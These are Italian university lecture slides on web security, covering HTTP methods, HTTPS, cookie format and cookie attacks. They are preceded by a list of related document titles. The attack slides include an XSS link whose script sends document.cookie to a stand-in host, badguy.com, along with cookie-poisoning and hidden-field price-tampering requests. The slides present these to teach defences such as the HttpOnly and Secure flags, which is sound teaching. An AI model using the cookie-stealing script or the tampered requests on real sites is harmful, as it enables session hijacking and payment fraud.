Elementi di Sicurezza e Privatezza Lezione 12 Web Security



Documenti analoghi
Elementi di Sicurezza e Privatezza Lezione 13 Web Security. Chiara Braghin

Elementi di Sicurezza e Privatezza Lezione 13 Web Security. Chiara Braghin. Cookie e Sicurezza

Web (1) Internet. Elementi di Sicurezza e Privatezza Lezione 9 Web Security (1) Chiara Braghin. chiara.braghin@unimi.it! 20/11/12. browser.

Cookie (1) - Componenti

Elementi di Sicurezza e Privatezza Lezione 10 Web Security (2) Code Injection

Sicurezza delle applicazioni web: protocollo HTTP

Il Protocollo HTTP e la programmazione di estensioni Web

LA GESTIONE DELLE VISITE CLIENTI VIA WEB

Esempio Cookie Policy

Web e HTTP. path name. host name Realizzato da Roberto Savino.

2.5. L'indirizzo IP identifica il computer di origine, il numero di porta invece identifica il processo di origine.

Approfondimento di Marco Mulas

Protocolli applicativi: FTP

Informativa estesa sull utilizzo dei cookie

Titolare del trattamento dei dati innanzi descritto è tsnpalombara.it

Cookie. Krishna Tateneni Jost Schenck Traduzione: Luciano Montanaro

PROCEDURA AGGIORNAMENTO LISTE MEDIANTE L INTERFACCIA WEB

Protocollo HTTP. Alessandro Sorato

Bibliografia: Utenti e sessioni

Nelle reti di calcolatori, le porte (traduzione impropria del termine. port inglese, che in realtà significa porto) sono lo strumento

POLICY COOKIE Gentile visitatore,

La sicurezza nel Web

Oreste Signore, Responsabile Ufficio Italiano W3C Area della Ricerca CNR - via Moruzzi, Pisa

INFORMATIVA ESTESA SULL USO DEI COOKIE

Cookie Policy per

Manuale Utente PEC e Client di Posta tradizionale

Lezione 1 Introduzione

Informatica per la comunicazione" - lezione 13 -

Guida utente alla compilazione delle richieste di contributo on-line per le Associazioni dei Consumatori

Come funziona il WWW. Architettura client-server. Web: client-server. Il protocollo

La procedura di registrazione prevede cinque fasi: Fase 4 Conferma

19. LA PROGRAMMAZIONE LATO SERVER

Il linguaggio HTML - Parte 3

INFN Sezione di Perugia Servizio di Calcolo e Reti Fabrizio Gentile Enrico Becchetti

ESERCITAZIONE Semplice creazione di un sito Internet

WEBALIZER GUIDA ALLA LETTURA DELLE STATISTICHE

TITOLARE DEL TRATTAMENTO Il "titolare" del trattamento di eventuali dati personali rilevati a seguito della consultazione del sito è SEVAL S.r.l.

Manuale servizio Webmail. Introduzione alle Webmail...2 Webmail classica (SquirrelMail)...3 Webmail nuova (RoundCube)...8

Corso di PHP. Prerequisiti. 6.1 PHP e il web 1. Conoscenza HTML Tecnica della programmazione Principi di programmazione web

Corso di Sistemi di Elaborazione delle informazioni

Il seguente Syllabus è relativo al Modulo 7, Reti informatiche, e fornisce i fondamenti per il test di tipo pratico relativo a questo modulo

Manuale LiveBox WEB ADMIN.

URI. Introduzione. Pag. 1

GRUPPO CAMBIELLI. Posta elettronica (Webmail) Consigli di utilizzo

Cookies Privacy Policy Società e Salute S.p.A.

CONTENUTI 1. INTRODUZIONE CONCETTI BASICI SU EQUINOX CMS XPRESS ACCESSO A EQUINOX CMS XPRESS PAGINA D INIZIO...

La Sicurezza delle Reti. La Sicurezza delle Reti. Il software delle reti. Sistemi e tecnologie per la multimedialità e telematica.

UTILIZZO DEI COOKIES (informativa conforme al Provvedimento del Garante Privacy del 8 Maggio 2014)

Architettura del. Sintesi dei livelli di rete. Livelli di trasporto e inferiori (Livelli 1-4)

Software Servizi Web UOGA

Impostare il browser per navigare in sicurezza Opzioni di protezione

Sicurezza nelle applicazioni multimediali: lezione 7, sicurezza dei protocolli. Sicurezza dei protocolli (https, pop3s, imaps, esmtp )

GUIDA AI PROBLEMI DI ACCESSO E VISUALIZZAZIONE

IFInet Secure Webmail

Reti di Calcolatori. Il Livello delle Applicazioni

La privacy e il Web 2.0: una soluzione sicura per Google Documents e Mozilla Firefox

Siti web centrati sui dati (Data-centric web applications)

FtpZone Guida all uso Versione 2.1

Client - Server. Client Web: il BROWSER

Portale Sintesi Procedure Base e di Registrazione

ATOLLO BACKUP GUIDA INSTALLAZIONE E CONFIGURAZIONE

prof. Mario Dalessandro

COOKIE POLICY DEL SITO

Guida per la registrazione alla piattaforma di Gestione dei Corsi per il Consulente Tecnico Telematico

Tipologie di Cookie utilizzati dal Sito

Applicazioni web centrati sui dati (Data-centric web applications)

Che cos'è un modulo? pulsanti di opzione caselle di controllo caselle di riepilogo

Lezione n 1! Introduzione"

Guida all accesso alla documentazione

BRC CAR SERVICE CRM Manuale operativo

ammesso solo con il tuo consenso. Le modifiche apportate hanno lo scopo di semplificare il controllo di quali

NOME 0 PROVIDER DOMINIO istruzione.it

CONTENT MANAGEMENT SY STEM

SSL: applicazioni telematiche SSL SSL SSL. E-commerce Trading on-line Internet banking... Secure Socket Layer

REFERTI ON-LINE - MANUALE UTENTE

Cookie e Webstorage. Vediamo ora i metodi dell oggetto localstorage. Per memorizzare un valore si utilizza il metodo setitem:

Internet e posta elettronica. A cura di Massimiliano Buschi

Utilizzo dei Cookie Cosa sono i cookie? A cosa servono i cookie? cookie tecnici cookie, detti analitici cookie di profilazione

La sicurezza nelle reti di calcolatori

La sicurezza nelle comunicazioni Internet

Software di gestione della stampante

I M P O S T A R E U N A C C O U N T D I P O S T A C O N M O Z I L L A T H U N D E R B I R D

Sommario. 1. Cos è SecureDrive Caratteristiche Privacy dei dati: SecureVault... 4

Comunicazioni sicure su Internet: https e SSL. Fisica dell Informazione

MANUALE PER L UTILIZZO DELLA FUNZIONE EVENTI Rel.1.2 del 29 gennaio 2004

GUIDA UTENTE PRIMA NOTA SEMPLICE

Sistema Informativo di Teleraccolta EMITTENTI

SETEFI. Marco Cantarini, Daniele Maccauro, Domenico Marzolla. 19 Aprile 2012

INFORMATIVA SUI COOKIE

Portale ARCOweb di Arco spedizioni spa

Manuale servizio

- Corso di computer -

INFORMATIVA IN MATERIA DI COOKIE! Digital Dictionary Servizi s.r.l. Milano via Paleocapa 1, (MI) P.IVA/CF: REA: MI

Lezione 6: Form 27/04/2012

INSTALLAZIONE DI JOOMLA! Guida alla installazione di Joomla!

Corso di Informatica di Base. Laboratorio 2

1. ACCESSO AL PORTALE easytao

Problematiche correlate alla sicurezza informatica nel commercio elettronico

Transcript:

Elementi di Sicurezza e Privatezza Lezione 12 Web Security Chiara Braghin chiara.braghin@unimi.it

Dalla lezione precedente Formato della HTTP Request: Metodo URL Versione protocollo Header GET /index.html HTTP/1.1 Host: www.example.com User-Agent: Mozilla/5.0 Accept: text/html, */* Accept-Language: en-us Accept-Charset: ISO-8859-1,utf-8 Connection: keep-alive (extra carriage return, line feed) 1

Metodi di HTTP (1) HTTP/1.0 GET POST HEAD HTTP/1.1 GET, POST, HEAD PUT DELETE TRACE CONNECT OPTIONS 2

Metodi di HTTP (2) GET Richiede di leggere una pagina Web Può inviare (pochi, max 256 caratteri) parametri al server tramite l URL (nella parte chiamata query string) http://server/path/file.html?query_string http://www.prova.com/dir?name1=test&name2=cat HEAD Come GET, ma richiede di leggere solo l intestazione di una pagina Web POST Invia le informazioni in modo non visibile da URL 3

Metodi di HTTP (3) PUT L inverso di GET, scrive su di una pagina DELETE Rimuove la pagina TRACE Usato per il debug, chiede di mostrare la richiesta CONNECT Metodo riservato per il futuro OPTIONS 4

GET vs POST Metodo POST: L eventuale input di un form viene trasmesso al server all interno del corpo della richiesta Metodo GET: L input viene inserito nell URL: www.somesite.com/login.jsp?name= john &pwd= john5 5

HTTP e sicurezza

HTTP/S (1) HTTP Secure Non un nuovo protocollo: HTTP over SSL/TLS Funziona esattamente come HTTP, tranne che per il fatto che i messaggi di richiesta e risposta sono trasmessi usando SSL (Secure Sockets Layer) o TLS (Transport Layer Security) Creato nel 1994 da Netscape Communications per il browser Netscape Navigator Originariamente usato con SSL encryption. In seguito all evolvere di SSL in TLS, usato con TLS (RFC 2818, maggio 2000) Usa la porta 443 al posto della porta 80 Usa un certificato digitale X.509 Usato in automatico per tutte le URL che iniziano con "https:" invece che "http:" 7

HTTP/S (2) Come funzona: La richiesta e la risposta sono trasmessi cifrati tra il browser e il server Il browser identifica il server con il quale sta comunicando mediante un certificato NB1: HTTP/S i default non fa indentificare (=> autenticare) il browser dal server (no overhead) NB2: HTTP/S non garantisce che il browser e il server si possano fidare l uno dell altro: l unica garanzia è che nessun altro può ascoltare la comunicazione HTTP/S richiede un operazione addizionale da parte del server: Il server deve creare un certificato che lo identifichi con il browser 8

HTTP/S (3) HTTP/S S-HTTP S-HTTP = Secure HTTP Descritto nell RFC 2660 Estensione del protocollo HTTP Utilizza (anche) chiavi simmetriche Non supportato da tutti i browser Supporta diversi algoritmi crittografici per la cifratura 9

HTTP/S (4) - Il luchetto Obiettivo: Indicare all utente che la comunicazione è cifrata I contenuti delle pagine non sono stati letti o modificati da un attaccante lungo la rete Garantisce che: (Quasi) Tutti gli oggetti della pagina sono stati recuperati usando HTTP over SSL/TLS Per ciascun elemento: Prodotto un certificato valido 10

HTTP/S (5) - Il luchetto IE7: 11

HTTPS (6) - il luchetto Firefox 3: (no SSL) (SSL) 12

Protocollo HTTP Il protocollo HTTP è stateless: due richieste successive (anche con gli stessi contenuti) ottengono la stessa risposta PROBLEMA: molte applicazioni richiedono memoria persistente delle interazioni dei clienti: Carrello della spesa elettronico Remeber the password for this site? Registrazione per l utilizzo amazon.com ricorda il nome dell utente, la carta di credito, gli acquisti già effettuati, gli interessi, Yahoo! Personalizza la pagina iniziale 13

Cookie (1) I cookie fanno parte del protocollo HTTP come integrazione e soluzione, molto discussa, alla caratteristica del protocollo di essere stateless Netscape, 1994 Because it was used in Netscape's original implementation of state management, we will use the term cookie to refer to the state information that passes between an origin server and user agent, and that gets stored by the user agent [RFC 2109] Un cookie è una raccolta di informazioni sull utente/client che fa richieste HTTP Serve per memorizzare a lato client lo stato di una sessione 14

Cookie (2) Il cookie viene trasmesso tramite gli HEADER del protocollo HTTP (Ipotetico) ciclo di vita del cookie: La prima volta che un browser si collega ad un server non ci sono cookie Il server crea un identificativo unico e lo inserisce nell header della risposta usando il campo Set-Cookie In futuro, ogni volta che il browser si collega con lo stesso server, anche per chiedere pagine diverse, inserisce il cookie nell header della richiesta usando il campo Cookie [In genere, i cookie vengono cancellati dal browser una volta che si fa quit ] NB: creato dal server, ma memorizzato dal client! 15

Cookie (3) - Esempio Il server spedisce un cookie al client usando l header Set-cookie in una risposta HTTP Set-cookie: CUSTOMER=John_Ford; PATH=/; EXPIRES=Thursday, 11-Jan-09 12:00:00 Quando l utente ritorna all URL, il browser manda al server i dati del cookie all interno della sua richiesta Cookie : CUSTOMER=John_Ford 16

Cookie (4) - Formato Il cookie consiste generalmente in una coppia nome-valore Set-Cookie: ID=12345jk La dimensione del cookie in genere è limitata dal browser (di solito < 4 KB) Un server può definire più cookie, anche se i browser limitano il numero di cookie per server (circa 50) 17

Cookie (5) - Formato Esistono campi opzionali dell'header Set- Cookie: Domain: il dominio di provenienza del cookie Se non settato, il valore di default è il dominio dell oggetto richiesto Il dominio di un cookie viene identificato univocamente da: server, porta (opzionale) e prefisso URL (opzionale) Indica il dominio in cui il cookie è valido Path: percorso nel Web tree (del server) in cui il cookie è valido Specifica il percorso dal quale il cookie viene mandato all utente finale (in genere /, l intera struttura) Se non settato, il valore di default è il dominio dell oggetto richiesto 18

Cookie (6) - Formato Expires: indica quando scade Espressa come data, o come numero massimo di giorni, come Now (il cookie viene eliminato subito dal computer dell'utente in quanto scade nel momento in cui viene creato), come Never (indica che il cookie non è soggetto a scadenza) Secure (FLAG): se impostato, il cookie viene trasmesso in una request HTTPS (viene cifrato) HTTPOnly (FLAG): il cookie non può essere acceduto via script lato client Inizialmente incorporata SOLO da Microsoft Internet Explorer, poi dagli altri browser 19

Cookie (7) - Precisazione Non sempre tutta l informazione relativa al client viene memorizzata a lato client Il cookie può rappresentare l indice di un database gestito a lato server per memorizzare le informazioni del client > 4 KB 20

Cookie (8) - Componenti 4 componenti: 1) cookie nell header del messaggio HTTP response (Set-cookie) 2) cookie nell header line del messaggio (non il primo) HTTP request (Cookie) 3) file di cookie mantenuto nel disco rigido del client e gestito dal browser 4) database di back-end nel Web server 21

Cookie (9) - Funzionamento file dei cookie client ebay 8734 ebay 8734 amazon 1678 una settimana dopo, se il cookie è ancora valido: ebay 8734 amazon 1678 http request http response Set-cookie: 1678 http request Cookie: 1678 http response http request Cookie: 1678 http response server Amazon il server crea il cookie 1678 azione cookiespecific azione cookiespectific parte opzionale create entry access access backend database 22

Cookie (10) - Classificazione Cookie di Sessione (non persistente o temporaneo) il browser scarta il cookie alla chiusura Usato per gestire gli shopping cart Cookie Persistente Il cookie rimane nel disco rigido del client Serve per memorizzare informazione per lungo tempo 23

Cookie (11) - Classificazione First-party cookie: cookie con lo stesso dominio dell indirizzo presente nella barra del browser Third-party cookie (o tracking cookie): cookie con dominio diverso da quello presente nella barra del browser Da banner pubblicitario, immagine o altra componente del file HTML, proveniente da un dominio diverso Usati per ottenere informazioni sul navigatore, i suoi gusti le sue preferenze, per tracciarne un profilo e presentargli solo i banner pubblicitari che gli potrebbero interessare Secondo gli RFC non dovrebbero venire permessi 24

Third-party cookie (1) 25

Third-party cookie (2) Esistono programmi per l eliminazione dei cookie in base a politiche di sicurezza definite dall utente Lavasoft Ad-aware: riconosce i tracking cookie e li rimuove 26

Visualizzare/gestire i cookie 27

Cookie (12) - Utilizzi User session state Per permettere ad un utente il login in un sito Web Memorizza username e password Shopping cart Per mettere o togliere articoli dal carrello della spesa virtuale nei siti commerciali Memorizza costo finale ed, eventualmente, # carta di credito Per personalizzare la pagina web Memorizza i setting preferiti Per tracciare i percorsi dell'utente (usato dalle compagnie pubblicitarie) 28

Lettura/scrittura di cookie a lato client (1) Settare un cookie in Javascript: document.cookie = name=value; expires= ; Leggere un cookie: alert(document.cookie) Stampa la stringa che contiene TUTTI i cookie disponibili per il documento Rimuovere un cookie: document.cookie = name=; expires= Thu, 01-Jan-70 29

Lettura/scrittura di cookie a lato client (2) javascript: alert(document.cookie) Mostra tutti i cookie del documento 30

Cookie: possibili attacchi

Cookie hijacking Packet sniffing => viene intercettato il traffico e si legge il cookie Soluzione: settare il flag Secure e utilizzare HTTP/S A volte anche l uso di HTTP/S non è una garanzia Per motivi di efficienza alcuni header non cifrati! Per motivi di efficienza, solo il primo messaggio spedito tramite HTTP/S 32

Cookie poisoning Un utente può cambiare e cancellare i valori dei cookie!! Editando il file dei cookie Modificando il campo Cookie nell header del messaggio HTTP Esempio: shopping cart software Set-cookie:shopping-cart-total = 150 ($) L utente edita il file dei cookie in modo che venga spedito il seguente header (cookie poisoning): Cookie: shopping-cart-total = 15 ($) 33 33

Cattivo uso di script (1) Si consideri il link: (properly URL encoded) http://victim.com/search.php? term = <script> window.open( http://badguy.com?cookie = + document.cookie ) </script> Cosa succede se l utente seleziona il link? Il browser va al link victim.com/search.php Supponiamo che victim.com ritorni <HTML> Results for <script> </script> Il browser esegue lo script: Spedisce a badguy.com il cookie di victim.com 34

Cattivo uso di script (2) Per risolvere il problema: HTTPOnly, un nuovo flag GET Browser HTTP Header: Set-cookie: NAME=VALUE ; HttpOnly Server Web I cookie vengono spediti tramite HTTP(/S), ma non sono accessibili tramite script non possono venire letti da: document.cookie 35

Alternative ai Cookie? Per gli shopping cart, usare campi nascosti del form Sistema valido? 36

Campi nascosti (1) Ordina 1 Pizza Web Browser (Client) Conferma $5.50 Web Server Submit ordine $5.50 Credit Card Payment Gateway Prezzo salvato in un campo nascosto del form submit_order?price=5.50 Questi valori possono venire modificati dall attaccante? 37

Campi nascosti (2) L attaccante compila i campi richiesti 38

Campi nascosti (3) e arriva alla schermata riepilogativa finale che deve confermare: 39

Campi nascosti (4) Della quale può vedere il sorgente: 40

Campi nascosti (5) Modifica il prezzo nel sorgente, fa il reload della pagina. Il browser spedisce la richiesta: GET /submit_order?price=0.01&pay=yes HTTP/1.1 I campi nascosti dei form sono comunque in chiaro!! 41

Campi nascosti (6) Ordina 1 pizza Web Browser (Client) Conferma $5.50 Web Server Submit ordine $0.01 Credit Card Payment Gateway Prezzo modificato dall attaccante!! 42

Non così raro (dati del 2000) Piattaforme che hanno subito l attacco: D3.COM Pty Ltd: ShopFactory 5.8 @Retail Corporation: @Retail Adgrafix: Check It Out Baron Consulting Group: WebSite Tool ComCity Corporation: SalesCart Crested Butte Software: EasyCart Dansie.net: Dansie Shopping Cart Intelligent Vending Systems: Intellivend Make-a-Store: Make-a-Store OrderPage McMurtrey/Whitaker & Associates: Cart32 3.0 pknutsen@nethut.no: CartMan 1.04 Rich Media Technologies: JustAddCommerce 5.0 SmartCart: SmartCart Web Express: Shoptron 1.2 Source: http://xforce.iss.net/xforce/xfdb/4621 43

Riferimenti HTTP: RFC 2616, RFC 2818 (HTTP over TLS), RFC 2617 (HTTP atthentication) Cookie: RFC 2695 e 2109 (HTTP State Management Mechanism ) Browser Security Handbook http://code.google.com/p/browsersec/ Una pagina storica http://curl.haxx.se/rfc/cookie_spec.html 44